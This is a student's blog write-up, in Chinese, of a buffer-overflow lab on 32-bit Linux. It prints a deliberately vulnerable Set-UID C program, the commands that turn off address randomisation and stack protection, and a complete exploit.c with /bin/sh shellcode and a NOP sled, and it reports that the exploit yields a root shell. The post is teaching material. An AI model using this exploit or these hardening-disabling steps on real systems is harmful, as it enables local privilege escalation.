20181303缓冲区溢出

一、实验简介

注意：实验中命令在 xfce 终端中输入，前面有 $ 的内容为在终端输入的命令，$ 号不需要输入。命令上有 # 的内容为注释，不需要输入

适用人群：

  • 有 C 语言基础
  • 会进制转换以及计算
  • vim 基本使用
  • 熟悉基本 linux 命令

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写

缓冲区溢出是什么？

缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据在合法数据上，理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符，但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配，这就为缓冲区溢出埋下隐患，操作系统所使用的缓冲区，又被称为"堆栈"。在各个操作进程之间，指令会被临时储存在"堆栈"当中，"堆栈"也会出现缓冲区溢出。

缓冲区溢出攻击及其原理：

通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
这也是稍后做题的突破原理，缓冲区漏洞普遍并且易于实现，缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切：植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序，从而得到被攻击主机的控制权。
大多数的缓冲溢出攻击都是通过改变程序运行的流程到入侵者植入的恶意代码，其主要目的是为了获取超级用户的shell。
原理相当简单：将恶意指令存放在buffer中，这段指令可以得到 进程的控制权，从而达到攻击的目的

 

二、实验准备

 

 

系统用户名 shiyanlou

 

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。

 

输入命令安装一些用于编译 32 位 C 程序的软件包：

 

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

三、实验步骤



（一）初始设置


    

  • Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令
    • 



   sudo sysctl -w kernel.randomize_va_space=0


2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在  /bin/bash  中实现。


linux 系统中， /bin/sh  实际是指向  /bin/bash  或  /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替  /bin/bash 。下面的指令描述了如何设置 zsh 程序：sudo su cd /bin rm sh ln -s zsh sh exit


3、输入命令  linux32  进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入  /bin/bash  使用bash：






 


二）shellcode


一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。


观察以下代码：




复制代码


#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}


复制代码




本次实验的 shellcode，就是刚才代码的汇编版本：




\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80




 


（三）漏洞程序


在   /tmp 目录下新建一个 stack.c 文件：




cd /tmp
vim stack.c




按 i 键切换到插入模式，再输入如下内容：




复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。






复制代码


/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}


复制代码




通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。


编译该程序，并设置 SET-UID。命令如下：




sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit




GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用  –fno-stack-protector  关闭这种机制。 而  -z execstack  用于允许执行栈。


 -g  参数是为了使编译后得到的可执行文档能用  gdb  调试。




 


 


 


（四）攻击程序


我们的目的是攻击刚才的漏洞程序，并通过攻击获得  root 权限。


在  /tmp  目录下新建一个 exploit.c 文件，输入如下内容：




复制代码


/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}


复制代码




或者也可以直接下载代码：




wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c




注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。


现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：




gdb stack
disass main




 


 


 esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。


地址可能不一致，请根据你的显示结果自行修改。

 




接下来的操作：




# 设置断点
b *0x080484ee
r
i r $esp




 


 


 




 


 


 


 


 


 最后获得的这个 0xffffcfb0 就是 str 的地址。


按 q 键，再按 y 键可退出调试。

 




根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014


 


然后，编译 exploit.c 程序：




gcc -m32 -o exploit exploit.c




先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：


3.5-1


whoami 是输入的命令，不是输出结果。

 




可见，通过攻击，获得了root 权限！


 


四、攻击结果


先运行exploit，再运行stack：

whoami

这个图里能看出来，我的地址是\x24\xd2\xff\xff




 


 


五、实验体会


　    本次实验让我们熟悉了缓冲区溢出的原理，进一步了解了缓冲区溢出的危害。同时在虚拟机内实现实验操作，更加熟悉了linux的指令操作。这个过程，让我在学习理论知识的基础上，通过实际操作，丰富了对缓冲区溢出攻击的理解，让我们在以后面对此类攻击能做出相应的防范。


 


 


 






            

            
posted @ 
2020-10-11 21:41 
大懂 
阅读(216) 
评论(0) 
编辑 
收藏 
举报